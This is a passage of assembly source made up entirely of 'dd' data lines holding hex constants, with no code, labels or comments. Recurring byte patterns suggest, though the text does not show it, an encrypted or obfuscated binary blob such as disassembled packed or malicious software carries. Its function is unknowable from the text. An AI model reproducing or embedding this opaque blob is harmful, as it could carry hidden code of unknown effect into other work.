		dd 335DBE9Fh, 4D4551B8h, 56ABB408h, 56D5B4DBh, 0BCE51F32h
		dd 5675A69Fh, 0AFBAB1CAh, 5BB4B132h, 99AEB132h,	0A385CD8h
		dd 4ECFC976h, 0D711B8D3h, 56B0C490h, 56645832h,	173AB132h
		dd 55804591h, 62689F04h, 133332DEh, 0A19693EAh,	57D5ED1Ah
		dd 0AAEAB132h, 56793D3Dh, 0DBB5B132h, 565DB134h, 56AE353Dh
		dd 5657B132h, 56ABA2DBh, 0EE396A32h, 2ED788E5h,	0C99FC075h
		dd 5F9737D3h, 119714CAh, 89EF0A52h, 5FBFFF22h, 17ABB132h
		dd 576F80DDh, 0B5B7669Eh, 5675D068h, 56BABEDBh,	0EE93FE32h
		dd 6CC35FEBh, 70564555h, 0B704F119h, 562DB132h,	0A06BD132h
		dd 360674B2h, 117A3054h, 565DD0DDh, 56AEB9DBh, 6FBE0632h
		dd 60814DBDh, 0BFD5B1F5h, 56EAB13Bh, 0A4959B6Ch, 3C1A3B17h
		dd 595DB11Bh, 56AEBDBDh, 50DBBE32h, 59ABB132h, 56D5B1B4h
		dd 0AEEAB132h, 0D615B132h, 0DDDCC3F5h, 565DD0FAh, 56AF353Dh
		dd 36ABB132h, 56ABBADBh, 9AE5D932h, 29048AB9h, 70A4A423h
		dd 56DBD052h, 564D5832h, 2BCB132h, 1832DEFEh, 0CEF85F35h
		dd 943D4EEAh, 56EA8A5Dh, 0BF75B1C7h, 56BAB123h,	110E1ABBh
		dd 0A3EE0090h, 0F13AAC12h, 34B41DBBh, 36D5B183h, 56EAB8DAh
		dd 0BEA26032h, 2FB81058h, 94D69039h, 522DBE69h,	3057B132h
		dd 37C3C98Dh, 0DBDAB132h, 56EAB13Eh, 5673333Dh,	0DDB5B132h
		dd 565DB132h, 5652B132h, 46BED132h, 0D5ABB132h,	0A9FF8607h
		dd 3AF8F238h, 0DEFFACE5h, 0E2068B32h, 565DD0DCh, 9114D752h
		dd 565E5841h, 0F07BB132h, 0FD196188h, 37363386h, 0AA15B132h
		dd 74676AB3h, 563C9A6Dh, 56BC5832h, 0FE44B132h,	2A97B0Ch
		dd 26A9678Eh, 60C6DAC9h, 5C0E4ED3h, 36DAB132h, 0D65240B9h
		dd 56AEB132h, 37230253h, 56ABB130h, 56D5B135h, 9061D752h
		dd 0BF149080h, 56BAB13Dh, 32EA297Ah, 0FF4A1C8Bh, 8FA79975h
		dd 56840504h, 51024832h, 56E9B13Bh, 5677B128h, 5699B121h
		dd 565DB3ACh, 5016E432h, 0AD89F862h, 2A6109BBh,	0BEBD6FD6h
		dd 500212A7h, 56725832h, 7B2AB132h
		dd 0C8C9DA51h, 3752E813h, 0DD37B132h, 892AD7E5h, 36B4D6CBh
		dd 0FB4E064h, 1BC3054h,	56BAD0D7h, 565C323Dh, 5652B132h
		dd 56475832h, 570AB132h, 56782C7Bh, 0B09BBA9Bh,	70B7D862h
		dd 56BAFFA4h, 299F3052h, 4E16368h, 5657B7DBh, 558CDF32h
		dd 99FCFB2h, 36EAB153h,	50B80F54h, 86930854h, 365DB153h
		dd 30773A54h, 7E6956B3h, 1FABB153h, 56D5BD30h, 506BBE32h
		dd 5975B132h, 56BAB1BBh, 565D4D32h, 502ABE52h, 5957B132h
		dd 56ABB1B1h, 40A3032h,	378675A1h, 543CB132h, 56BAB138h
		dd 0BC262E16h, 26AC3FB3h, 0D3588273h, 56ABB131h, 37B269B2h
		dd 5103B132h, 0B975B132h, 20E2332Ah, 0BFCD777Fh, 56AEB139h
		dd 74BAB525h, 3842C181h, 6702D3Dh, 0E5B8E152h, 5944BE0Fh
		dd 0EE07E85h, 0DD3BE362h, 309FBEC5h, 0E0D43B9h,	62AC2153h
		dd 0C76636Fh, 6B2EB6Ah,	5675A5DBh, 7CAF7D32h, 0A0CC0929h
		dd 0D463D5C5h, 989E61A1h, 8C2E4DDDh, 0E1632739h, 5A83C16h
		dd 0F9FB38A2h, 9D20F48Eh, 0E07D06Ch, 0BF8A9DBBh, 5657B121h
		dd 4C6E8D1Dh, 0B0949979h, 24976515h, 0E80CF1F1h, 378FDD2Dh
		dd 0B83441A1h, 0AC8BADBDh, 90F6B999h, 47605B5h,	51572111h
		dd 56EC5865h, 2103B132h, 45B8FCD6h, 0E07D0AFh, 0B960B1A2h
		dd 5D8D34CEh, 0B10DB0DAh, 0D5E78CA6h, 4203803Dh, 7A75B132h
		dd 4E413BC7h, 928AE743h, 66DD539Fh, 0A989F9Bh, 0C408B57h
		dd 6E4BE6Ah, 56ED5860h,	3616B132h, 0DA056F2Bh, 0BF6CBEE7h
		dd 56AEB134h, 0DB730684h, 0EF1E270h, 0B58DE968h, 69B428D2h
		dd 0D1FE43Eh, 606B3054h, 56515808h, 5B0AB132h, 5F4762F0h
		dd 93979E3Ch, 3748FA28h, 5A03803Dh, 8275B132h, 1679C34Fh
		dd 3A420F4Bh, 0C957B07h, 0CEAE96Ah, 56A55853h, 9485B132h
		dd 0E34A4A75h, 6D27D92Ah, 56835105h, 56A1B132h,	56A75832h
		dd 0B560B132h, 0F967A559h, 56CD464Fh, 56E55832h, 0E45BB132h
		dd 0BD312D19h, 88709C90h, 7207F2C5h, 0A357B151h, 0D1A4B132h
		dd 56D5B133h, 0AFEAB1C7h, 5680B132h, 5E3EBE32h,	595DB132h
		dd 56AEB3B9h, 5636D132h, 5E29BE32h, 59D5B132h, 56EAB3B2h
		dd 5614D132h, 56A85832h, 6125B132h, 0F3D39445h,	6AA83D0Fh
		dd 0FA157452h, 0E5034C58h, 0BF8AB132h, 5675B120h, 5F7AE2E4h
		dd 7D11EC7h, 52AC2B1Fh,	5FBF7D8Dh, 11AA5Fh, 37FF8F46h
		dd 368AB132h, 5675373Dh, 0ECDCB132h, 373CD10Ch,	0DEA1B132h
		dd 5657B125h, 6F8C0A52h, 5C3DE358h, 0A1EAB132h,	0E67E53B2h
		dd 0B4095449h, 563CEABEh, 56AE4932h, 54DBBE52h,	0DDABB132h
		dd 37B5D1C2h, 378B6BB9h, 0BE15B132h, 56BAB122h,	0E99628A4h
		dd 6F4D3CBFh, 7131ED03h, 3981F639h, 17FA9288h, 0B86AEF3Dh
		dd 5675D02Fh, 56BABBDBh, 73761032h, 0D8ED979Bh,	56F7653Eh
		dd 0BE1ED132h, 0BFD5B153h, 56EAB13Fh, 490D942Ah, 7DF1B52Ch
		dd 3EDE6105h, 56AE4425h, 564B313Dh, 0D2A4B132h,	56D5B124h
		dd 56EAA0DBh, 0BC1D7132h, 9D804842h, 0C7A80294h, 4123484Fh
		dd 5657A64Ch, 56A05852h, 0D5AEB132h, 0C671AB57h, 0E492F0EEh
		dd 37403AD8h, 56545852h, 9854B132h, 9A69E3CFh, 3717A96Bh
		dd 0D2DAB132h, 56EAB127h, 5675A1DBh, 0CBFA7832h, 0CFC50B2Ch
		dd 1AB0E687h, 0D828545Dh, 59ABB122h, 56D5A2B0h,	56E45832h
		dd 0C964B132h, 1469287Ch, 0DA271A98h, 609CA080h, 3037B132h
		dd 0EDCD70B9h, 0AEB4F12Eh, 5003B132h, 0AD75B132h, 58ECBE78h
		dd 0AF5DB129h, 5947B132h, 1B57B132h, 0C3B2EB00h, 8091B368h
		dd 3AC4CD06h, 568DF6E1h, 56B15832h, 0E74FB132h,	0B04CCCE2h
		dd 0B0337F71h, 0AAABB1DFh, 56D5B7DBh, 26E83F32h, 563D8273h
		dd 56BF5832h, 0CDF9B132h, 564677B8h, 56525832h,	8920B132h
		dd 592F4A83h, 56EAB7BCh, 0E17AD132h, 56DB44F0h,	565D4932h
		dd 36AEB1CAh, 56433C3Dh, 5942B132h, 0BED5B132h,	712C8225h
		dd 609D0219h, 0CCB56F87h, 593D2E5Eh, 56AEB1BEh,	56D8BE32h
		dd 37ABB132h, 59D5B153h, 56EABBBBh, 56705832h, 0A120B132h
		dd 56F03CEDh, 572BBE32h, 0AF57B132h, 0DFA4B132h, 56D5B135h
		dd 8555BE52h, 56144284h, 56BC5832h, 0DDCB132h, 31453FDAh
		dd 36AEB132h, 56ABA5DBh, 0BF12B332h, 0FFEBB01Bh, 0AA8710C8h
		dd 769C058Dh, 74F683D6h, 37683A6Ch, 37B132h, 40270E54h
		dd 9754D768h, 568B6A80h, 56754832h, 0BFBAB1CEh,	565DB123h
		dd 3F5DDE4h, 7290A6BEh,	9E987003h, 81B5EF78h, 59EAB183h
		dd 5675B4BCh, 0A431D132h, 0D73DD0C7h, 3E69BEC4h, 89E8BE20h
		dd 36ABB153h, 56B47AB8h, 0DCE5D132h, 5675B125h,	56BAA3DBh
		dd 2D52F32h, 23B426D0h,	0E5AAF813h, 5B937548h, 0BE95561Dh
		dd 56EAB123h, 0A7F5CD34h, 53A1E28Dh, 5BEB627Fh,	10C1265Fh
		dd 565959C6h, 0DAB6B132h, 2BA379EDh, 5DF61D0Ah,	99DB81A8h
		dd 56DBEB6Bh, 57DFBE32h, 0AAAEB132h, 0E737B132h, 9920D7A2h
		dd 0AED5B153h, 36EAB1C7h, 5675A3DBh, 0B75ED432h, 849B152Fh
		dd 56737A75h, 7D96484Bh, 0AE816C37h, 0E1DAD153h, 7B54D7FDh
		dd 5675D04Ah, 0A3BAB1CAh, 50B4B132h, 2AEB132h, 1190A1E7h
		dd 0BFABB114h, 56D5B137h, 79FE4DF3h, 567544B6h,	36BAB1CAh
		dd 565DB7DBh, 0D079BE32h, 0BF6993F9h, 56ABB120h, 81A93A7Dh
		dd 6B79ABDFh, 4B35F8E8h, 1EEEA7Fh, 563CC9D5h, 0A62FD132h
		dd 0F889E6Eh, 59CA6FB8h, 56D5BBB5h, 56EF5832h, 0F8B1B132h
		dd 56D32729h, 0B7DDD132h, 0B616D788h, 5657D051h, 56AA353Dh
		dd 0BF20B132h, 56EAB137h, 8A61CAE3h, 59BAB117h,	565DB0BFh
		dd 56AE4D32h, 0BF7D0752h, 56ABB135h, 624B80B9h,	37748E96h
		dd 0DF7AB132h, 56BAB127h, 5652373Dh, 5C47B132h,	8657B132h
		dd 637160D3h, 0D7E170CAh, 0BFEAB182h, 5675B134h, 5AF3CFC3h
		dd 565D80ABh, 59AEB1CEh, 5657BDB7h, 5023BE32h, 59D5B132h
		dd 56EAB1BBh, 5975B132h, 56BABAB2h, 0E952D132h,	5627BEEDh
		dd 3757B132h, 0DCA4B132h, 56D5B133h, 0AFEAB1C7h, 5675A0DBh
		dd 0F23F0832h, 0CF3E8A9Ch, 0BB42EF2Ch, 8B8CB4A3h, 56ABFFA2h
		dd 59D5B1CAh, 56EABDB7h, 50F7BE32h, 59BAB132h, 565DB1BFh
		dd 56AE4932h, 3737D152h, 0E2CAEF65h, 56D5D01Ch,	59EAB1CEh
		dd 5675B6B9h, 5736BE32h, 0A35DB132h, 5F47B132h,	1E57B132h
		dd 550ABC10h, 6FE6D168h, 4703B132h, 7475B132h, 0E998E30Bh
		dd 0A5C79568h, 1AC6EB4h, 5313F627h, 59CBB132h, 0AEB5708Dh
		dd 0B21D5BB3h, 3714C38Ah, 0DEB5B132h, 565DB135h, 56AF353Dh
		dd 56AEB132h, 572BBE32h, 0AED5B132h, 0D8E5B132h, 5675B133h
		dd 36BAB1CAh, 0FC2847B3h, 3752C179h, 55DDBE52h,	30ABB132h
		dd 0DFDA61B9h, 56EAB130h, 561461B9h, 56BA4932h,	365DB1CEh
		dd 56AEB9DAh, 806B2432h, 7B6A12CEh, 80D30AB8h, 0BFB1B69Eh
		dd 5675B13Fh, 0B54FA42Fh, 0E2169E13h, 72F86D0h,	5657D07Ah
		dd 56BE3A3Dh, 463CB132h, 0C7EAB132h, 0A262359h,	0D4DA323Ah
		dd 85C595E2h, 36204DE1h, 35006EB3h, 2012D224h, 37EA172Dh
		dd 4503B132h, 0BA75B132h, 9B9689CFh, 7E4A2677h,	477271D2h
		dd 0CD52E006h, 56AB38C7h, 56D5BCDBh, 936CF832h,	39093276h
		dd 3FEB61A7h, 0DD525D03h, 56AEB133h, 3657B1C7h,	4F403054h
		dd 56D5D06Fh, 56FA323Dh, 5D9CB132h, 0F7BAB132h,	1460FA14h
		dd 0FF1D2B56h, 56571806h, 0AEABB1C7h, 5629B132h, 4862BE32h
		dd 5975B132h, 56BAA9B9h
		dd 564E5832h, 110B132h,	0EF34AA13h, 5FE4CA50h, 41C57478h
		dd 0F9BB4FD9h, 0BF75B19Ah, 56BAB13Eh, 58B2E973h, 718EEEE0h
		dd 163870E7h, 56ABB6DBh, 0A5866632h, 0E011DCDBh, 5680B132h
		dd 4735BE32h, 0BF5DB132h, 56AEB13Eh, 0BC156D7h,	0E74DF11Eh
		dd 96C0576Eh, 5B03B132h, 0C975B132h, 4E74DEDDh,	770B1929h
		dd 4AC19CD6h, 5937B132h, 56ABB1B5h, 26143132h, 56EA4953h
		dd 5675A3DBh, 9D0F5432h, 89D8D3D9h, 4A762E39h, 0D7E0BA05h
		dd 36E1CBE3h, 0B654D752h, 0B06B0DE0h, 59B3775h,	5E53E053h
		dd 0B25DB132h, 0E5B32795h, 0E82A828h, 59ABB153h, 56D5AABCh
		dd 4366BE32h, 0BF75B132h, 56BAB122h, 0E59962A9h, 0E8EDA721h
		dd 0BE797130h, 51C898D9h, 0D2DAB132h, 56EAB13Bh, 0BFF44D52h
		dd 101F7D99h, 0AA5DB153h, 5947B132h, 0CB57B132h, 29859072h
		dd 8DE48F63h, 43FA821Bh, 567566F8h, 56BAB6DBh, 0B3A1F132h
		dd 3E0430DCh, 5937B132h, 56ABB5B1h, 886ED732h, 9E5DBE00h
		dd 0BF75B153h, 56BAB13Ch, 967A5495h, 0EAE62FAFh, 0E93B0B78h
		dd 56AB1816h, 56D43A3Dh, 0A312B132h, 5915B132h,	56BAB3B1h
		dd 0BF06E232h, 56AEB13Bh, 0CE0EFD22h, 0A21B8FDCh, 56D5D05Ah
		dd 0AAEAB1C7h, 0DC7AB132h, 56BAB133h, 595DB1CAh, 56AEA1B2h
		dd 5EBFD132h, 0ECABB132h, 0AEF9E4C9h, 0DD9195Ch, 0AE75B153h
		dd 36DAB132h, 0E0FEF63h, 5947D153h, 0CE57B132h,	0E673EBBh
		dd 904142A2h, 3DA79CF0h, 17CEEDFCh, 37899A6Fh, 595DB153h
		dd 56AEB9BDh, 54DBBE32h, 36ABB132h, 0BFD5B153h,	56EAB120h
		dd 58136488h, 0B0F656D9h, 1D291B37h, 458F6E89h,	5657FFCEh
		dd 5D2CBE52h, 0BFD5B132h, 56EAB134h, 0E63601F1h, 0B53A50F1h
		dd 565DD054h, 8119BE52h, 56364FB8h, 0D7CDD132h,	0DD04B6F0h
		dd 56EAD0E1h, 5674303Dh, 5646B132h, 565B5832h, 0D5B5B132h
		dd 6E284EF7h, 0E9A44452h, 56D5D0C3h, 5D6DBE52h,	0BE75B132h
		dd 56BAB137h, 1C8054B7h, 0AE25E963h, 56525853h,	0C4ABB132h
		dd 567D6A98h, 308AD132h, 0E5C66FB9h, 56BAD053h,	0BF5DB1CEh
		dd 56AEB122h, 6A08CFBDh, 661429F2h, 9686676Fh, 0DA45443Bh
		dd 3675B1CEh, 0C959B38Ch, 71380E3Dh, 56CFC747h,	0E158D132h
		dd 372306CDh, 0D6B5B132h, 0D55AF2C2h, 0BF75B153h, 56BAB13Dh
		dd 4FB466DAh, 10F77348h, 0D1DDD37Ch, 590AC5EAh,	56D5B6B1h
		dd 5762BE32h, 0AA75B132h, 5B53B132h, 5DB132h, 62AEF3B3h
		dd 0EC07B044h, 0CAEFF1E8h, 0BFD5B1CEh, 56EAB138h, 14F295FFh
		dd 32DD1BE4h, 0E03D071Bh, 37593BECh, 5CBEB132h,	6CABB132h
		dd 2A92BCDh, 0D1950534h, 0AA75B105h, 0E9DAB132h, 7DCC2C71h
		dd 52413054h, 5657D0ABh, 56ABBBDBh, 548EE32h, 140FD9C3h
		dd 564B0D4Eh, 56B65832h, 0C1B8B132h, 7B545C85h,	0CA283287h
		dd 56ABD2ADh, 56D5B8DBh, 0B0E82D32h, 0FB0A6B51h, 56BA6228h
		dd 91D6D752h, 0BFAEB153h, 5657B13Ah, 19D0B86h, 0FE128DBh
		dd 4603B132h, 375B132h,	77D599CEh, 0C7C26B31h, 677333D5h
		dd 561E410Ah, 5829BE32h, 36D5B132h, 56EA333Dh, 81F4B132h
		dd 55EC8ECDh, 365DB153h, 0BE56063Dh, 5657B13Ah,	287407Dh
		dd 0B2F2C804h, 6E63E8Ah, 5614E939h, 0E1B5D132h,	848B31F4h
		dd 59AEB153h, 5657A5B6h, 56A45832h, 24FBB132h, 9D0AE8B6h
		dd 0F7C434C6h, 0D2588ACDh, 0BF5DB17Bh, 56AEB13Fh, 5D9A7394h
		dd 0E288FE07h, 2B294908h, 56EA4944h, 0BF75B1CAh, 56BAB138h
		dd 2023A5FFh, 6786AF29h, 5657F4AFh, 56ABB4DBh, 21C80332h
		dd 56EAF959h, 56735952h, 0D171B132h, 0E709E41h,	0AEF17EB8h
		dd 0AF57B153h, 5842B132h, 0C5D5B132h, 0CFB62398h, 0BB8709D3h
		dd 85CF635h, 0AA5DB196h, 5652B132h, 56574D32h, 56BA58C7h
		dd 5AD2B132h, 0F6E262ADh, 3A4F614Ah, 0C16DA70Dh, 569A9F8Bh
		dd 5E2CBE32h, 5957B132h, 56ABB3BBh, 56B4D132h, 0A861D132h
		dd 0BBBF71B3h, 56DBC066h, 565D4432h, 0A84E3052h, 306DED93h
		dd 372A4A88h, 473CB132h, 6DEAB132h, 1128E21Bh, 7B158D6Eh
		dd 5AE6CBEAh, 6F8DB341h, 44BEB132h, 9FABB132h, 71412360h
		dd 879FFBABh, 1AC12CB4h, 0CC7DDC0Fh, 365DB106h,	0D14F9D8Ah
		dd 8FDCD75Eh, 59ABB153h, 56D5B0B1h, 56EA4D32h, 567D373Dh
		dd 0DAB5B132h, 565DB130h, 56AED052h, 5657BFDBh,	5BD1A332h
		dd 245C545Bh, 0CB4AA257h, 5671858Ch, 5732BE32h,	0AA5DB132h
		dd 0DCA1B132h, 5657B133h, 0AAABB1CEh, 443CB132h, 8EEAB132h
		dd 0CC4C2B18h, 0DD839CC4h, 5EB93704h, 13315FA9h, 0A357B193h
		dd 36ABB1C7h, 56D6383Dh, 0E1E5B132h, 567258C1h,	3259B132h
		dd 0CFC8CF97h, 56AED07Ah, 5657A2DBh, 0B2818B32h, 535EF78Eh
		dd 96E3744Fh, 5CD1D09Dh, 821B35C8h, 0DE52B132h,	56AEB13Fh
		dd 5657B9DBh, 0BEB3832h, 0C1EB0E14h, 36EAB174h,	56F6BE52h
		dd 0EDBAB132h, 153D5F08h, 37463B53h, 5BBEB132h,	4AABB132h
		dd 0D762BA05h, 0BEA0CBE3h, 0D51F0355h, 0D2B5B132h, 565DB12Bh
		dd 56AEA5DBh, 0ED16332h, 0F7748A48h, 8E471FEFh,	704C4ABh
		dd 0A411EB4Dh, 0A3BAB1D3h, 56A5B132h, 56A95832h, 19CEB132h
		dd 4361DF5h, 0AAD5B12Ch, 1254D752h, 56144881h, 573EBE32h
		dd 0AA5DB132h, 30CEB132h, 59367FB9h, 56ABA1BBh,	513CD132h
		dd 89EAB132h, 0EFFBB78Ch, 8031E495h, 365DB153h,	56AEA1DBh
		dd 680F832h, 5CA7F502h,	0D3B9D940h, 91F1F4CBh, 5675D05Ah
		dd 0A805BE52h, 379C063Dh, 0D0A1B132h, 5657B129h, 0BFCAD152h
		dd 56D5B120h, 4186E379h, 0DF9FA295h, 9252501Bh,	432C0984h
		dd 56CF6083h, 56574832h, 56ABA0DBh, 0E9EE2B32h,	0C96D18Fh
		dd 493A2F1h, 92AC5CBh, 42B4D26Ch, 0ECAEB132h, 0F41AABCDh
		dd 502E429Dh, 592E75E9h, 0F7F69343h, 566DB44Eh,	423DBE32h
		dd 0BF5DB132h, 56AEB13Dh, 0A002286h, 0A9E6C85Eh, 4C53C505h
		dd 560943CCh, 56754D32h, 56BABFDBh, 0E6938632h,	4D586156h
		dd 3BF94FACh, 564C1CC8h, 5E57BE32h, 36EAB132h, 0EF130380h
		dd 56DBB53Bh, 565D4D32h, 56A63B3Dh, 0D737B132h,	1F0EA2E1h
		dd 0DDDAD027h, 56EAB136h, 372CE052h, 564FB132h,	565D4D32h
		dd 56AEB4DBh, 0BD4DA432h, 30CB9981h, 59F44E89h,	56EAB3B8h
		dd 372AE032h, 0D8B5B132h, 565DB13Fh, 56AEB9DBh,	0CFDBE632h
		dd 57F8DC83h, 415FBE39h, 0BFEAB132h, 5675B120h,	0F3BFB228h
		dd 0FAA10807h, 0A20DF0B2h, 7861B2EFh, 56AB85F4h, 56DF3C3Dh
		dd 5303B132h, 8775B132h, 76BE0C89h, 53B4B132h, 0C1AEB132h
		dd 3477453Ah, 5F42B132h, 7CD5B132h, 0CAC1031Ch,	7BD75AB9h
		dd 59DAB132h, 565DBFBDh, 56A65932h, 0FC01B132h,	2C3324D5h
		dd 378ED649h, 4403B132h, 0D775B132h, 27F8A99Dh,	69065FADh
		dd 0D46D0AFDh, 6C98E913h, 56B85873h, 6C62B132h,	7A3D042Bh
		dd 51C815B0h, 9E362925h, 0E938A7AFh, 36AEB115h,	0EE311486h
		dd 59CA1C2Eh, 56D5BAB4h, 56EC5832h, 0B3FB132h, 0A0D23D0Ah
		dd 5AB4B132h, 67AEB132h, 988E69E0h, 189DD210h, 59D809A0h
		dd 56EAB6B4h, 57F8BE32h, 0AFBAB132h, 50B4B132h,	0B5AEB132h
		dd 0C421E66Fh, 0A3ABB182h, 6B5B132h, 9AE07A8Ch,	5614EF48h
		dd 4836BE32h, 365DB132h, 6F67D88h, 56465904h, 9FB3B132h
		dd 0DA3E2C55h, 833D457Fh, 0A0142083h, 0E469848h, 0BF5DB153h
		dd 56AEB134h, 0DCA18041h, 56AB74E1h, 59D5B1CBh,	56EAB6B6h
		dd 57F6BE32h, 0A3BAB132h
		dd 44B4B132h, 25AEB132h, 25B0C9EFh, 6D8CA7BDh, 6AE0D7B8h
		dd 0D1FC9EC4h, 3675B1E6h, 56BA323Dh, 593DB132h,	56AEB1B1h
		dd 5636D032h, 0D7CDD132h, 591BC3F4h, 56EAB5B3h,	12CCD732h
		dd 56BAD09Bh, 595DB1CBh, 56AEA4BFh, 56475832h, 0D267B132h
		dd 97D18DB1h, 0B3C97F3Ah, 77AB3E99h, 0EDDA476Eh, 1001CEA7h
		dd 56CFF384h, 48D9BE32h, 36ABB132h, 56D5A1DAh, 0A3B9B032h
		dd 1F327103h, 98462299h, 3890C65Dh, 0B42FEE19h,	2189349Eh
		dd 0A3ABB153h, 59B5B132h, 56EAB0B4h, 0D27A4832h, 56BAB130h
		dd 563CD052h, 5C23BE32h, 0BF57B132h, 56ABB137h,	8FE43D3Dh
		dd 9861D177h, 5675A0DBh, 70B61132h, 0B62C8C3Ah,	0D8F83E81h
		dd 150B4D7Bh, 56CA868Eh, 56DA5832h, 1F70B132h, 99C38432h
		dd 5C2E067Ah, 754AA978h, 36AEB18Eh, 69647EB3h, 5043FE15h
		dd 0E0D5B132h, 0D53FE8A1h, 56FABE6Dh, 0FBAB132h, 0AA5DB153h
		dd 5656B132h, 56AB4832h, 56AB4432h, 37143A52h, 598AB132h
		dd 0E913488Dh, 56DB8344h, 0ECA8D132h, 789625F6h, 3657B153h
		dd 56ABA1DBh, 0DFB27432h, 24B7055Eh, 9516F4E3h,	21CC1398h
		dd 0C99C3028h, 37E21371h, 5957B1C7h, 56ABA1B3h,	5C50BE32h
		dd 0BFEAB132h, 5675B137h, 87C07F13h, 365DB1AFh,	0ED4D3054h
		dd 0D458D03Dh, 56ABB133h, 36D5B1CAh, 0B7393054h, 0DD13E19Bh
		dd 56DBE8E2h, 5AD3BE32h, 59AEB132h, 5657B7B9h, 5626BE32h
		dd 56D5B132h, 0A461D132h, 37AF0E3Dh, 30DAB132h,	0E85F47B3h
		dd 56AF383Dh, 37AFB132h, 56ABA2DBh, 21799032h, 0D916D3B2h
		dd 0CEEED3ABh, 0B30502A2h, 316F59BDh, 0D8A1B132h, 5657B12Eh
		dd 56BD353Dh, 473CB132h, 2BEAB132h, 62CA5D4h, 0C4253410h
		dd 0D4D4644Dh, 0F45492Dh, 51BEB132h, 48ABB132h,	0E8E87E63h
		dd 5E033966h, 0EF75B132h, 41B721E0h, 56C554CCh,	4927BE32h
		dd 3657B132h, 99AD0F54h, 56D5A5DBh, 325C7932h, 652B9EBCh
		dd 0BFF56A6Dh, 69C799D3h, 765EE8C6h, 5657D07Ch,	56ABB7DBh
		dd 8CAE9E32h, 0AA39CD95h, 0DB7AB132h, 56BAB138h, 85DCD752h
		dd 0DDC8EA5Dh, 5657D0EDh, 36ABB1CAh, 56D5BCDBh,	0B0589A32h
		dd 0F3BAF8A1h, 0B33B3245h, 15E21563h, 37996083h, 0AFABB132h
		dd 5042B132h, 9AD5B132h, 73F18268h, 0BF75B16Bh,	56BAB13Ah
		dd 0D3B7A6EBh, 0E6FEE6A5h, 30B23B52h, 3766898Bh, 0BFB5B132h
		dd 56EAB13Fh, 0C9B2294Ah, 2B4562D6h, 54DDE635h,	56A459D0h
		dd 8A15B132h, 5989F3A9h, 0E1E6878Ch, 0C2780E54h, 5675D06Ch
		dd 56B15852h, 0DC58B132h, 4C2E4EB2h, 0DF53F55Ah, 5B42E181h
		dd 2FD5B132h, 0E290B2B3h, 95D4FC01h, 780D7352h,	565DD06Dh
		dd 56AF343Dh, 56A2B132h, 56AC5832h, 7A44B132h, 0BCE085C6h
		dd 56785828h, 1E38B132h, 73DC72A2h, 38CBFE35h, 56F1A961h
		dd 56A25832h, 540EB132h, 67AF9E49h, 5656CE02h, 56BA4432h
		dd 56D6BE52h, 0DDAEB132h, 5657D0C5h, 8114BE52h,	0A3D5B153h
		dd 0D1E5B132h, 5675B123h, 56BABDDBh, 2A989F32h,	256AA2FBh
		dd 6D55AA88h, 0AFABB135h, 5620B132h, 56EA4D32h,	3675B1C7h
		dd 376D3A54h, 56A1B132h, 56A35832h, 0D5ACB132h,	78907AD7h
		dd 354E1A03h, 5667000Bh, 56754D32h, 59BAB1CBh, 565DA3B3h
		dd 56A35832h, 0A417B132h, 6C09F777h, 0E0B1EF14h, 565854AAh
		dd 0E97AD132h, 37653AE9h, 56A1B132h, 0FE10D132h, 303AEEDFh
		dd 56CA4FB9h, 56C65832h, 3D91B132h, 18DBB09Eh, 0C2EE4B08h
		dd 5885E003h, 0D7D16F17h, 0BF57B1FBh, 56ABB13Bh, 57277556h
		dd 33C6A186h, 5975B15Fh, 56BAB0BDh, 565D4D32h, 0BF543A52h
		dd 5657B121h, 5046FA44h, 0BAFB4D41h, 29DCA3AFh,	0AA1980DBh
		dd 37ED6523h, 0BF3DB132h, 56AEB122h, 75E25FEh, 4EC7DC32h
		dd 0B1D084ABh, 0BF1B5344h, 56146EB9h, 56BA4832h, 8EBC3052h
		dd 598263E0h, 5657B1B5h, 56ABD032h, 56D5BCDBh, 0B5A18D32h
		dd 0AC1291ADh, 0FA5EEBCDh, 565D0E1Ah, 5D23BE52h, 0BE57B132h
		dd 56ABB137h, 48EB25F9h, 0C552E827h, 375466C0h,	7DAB132h
		dd 565DD06Ch, 56A35852h, 1FE3B132h, 20D95198h, 0B203C5B5h
		dd 375122AAh, 0DD7AB132h, 56BAB133h, 0A35DB1C7h, 56464D52h
		dd 0C57B132h, 92D45BB3h, 0BF20B702h, 56EAB139h,	31BCA98Eh
		dd 1B365AAFh, 0BF8866C6h, 56AEB13Bh, 0ACB3F61h,	23E0CFD1h
		dd 78503CDAh, 59EC9E8Ah, 5675BDBAh, 503ABE32h, 595DB132h
		dd 56AEB1B4h, 0DA58D132h, 56ABB136h, 31BF0954h,	0C5080F54h
		dd 0BEF73853h, 0BFBC819Fh, 565DB13Bh, 87740458h, 8623084Fh
		dd 0D5293C94h, 0AFD38059h, 0F8E933BBh, 0DD7AB702h, 56BAB135h
		dd 565C393Dh, 0BE56B132h, 565784E1h, 56B4333Dh,	0DEDAB132h
		dd 56EAB12Bh, 5675A5DBh, 93A80332h, 60CC85Ah, 364E39D8h
		dd 54F3284Bh, 17ACF6ACh, 573B59AAh, 598AB132h, 5675B4B6h
		dd 0B0FF0832h, 913CFBDDh, 6603C5B0h, 5657B134h,	59CB4D32h
		dd 4B44685h, 56EAA1DBh,	9C8F8932h, 734DF14h, 4B2D3FADh
		dd 0DC9AC50Fh, 9FD2770Bh, 0AD9B15h, 56DB58CBh, 221DB132h
		dd 42CF13F4h, 0E13361CFh, 7FCA362Dh, 0FE16E35Ah, 57D7BEAEh
		dd 0AEABB132h, 741C04CDh, 0DB13B718h, 7BF418B7h, 573DBE34h
		dd 0AE5DB132h, 59CE61CDh, 95D64E85h, 7A1AE479h,	5F59BE53h
		dd 36EAB132h, 30840E3Dh, 37D9B58Ah, 5DD034BBh, 595BB718h
		dd 5657B9B4h, 5425BE32h, 36D5B132h, 0AEEEDB53h,	4675D9CAh
		dd 0D5B5B132h, 565DB133h, 5BEED9CAh, 0BE37B131h, 56ABB13Eh
		dd 73B8EAD6h, 0F08B1089h, 78CB864Bh, 0F42063Dh,	0A8060F54h
		dd 36AEDB53h, 0CA300F54h, 56A0383Dh, 503CB132h,	0EEEAB132h
		dd 9B998F40h, 8645D0B7h, 5DA1EBCAh, 942ABEF2h, 0BF57B132h
		dd 56ABB13Bh, 848FB464h, 7A6AD081h, 56785847h, 0A5A8B132h
		dd 0A8F7ACh, 6EF3E86h, 0DFA47248h, 6606C5B0h, 0D45C4934h
		dd 50DA1CA5h, 5B3508CAh, 3646B131h, 0B3C41888h,	375E3A53h
		dd 3749B9h, 37F1EE62h, 0DADA7101h, 56EAB13Ah, 5677373Dh
		dd 37DAB132h, 4A81BC1h,	0AAAADBCAh, 5647B15Ah, 0DCA4D132h
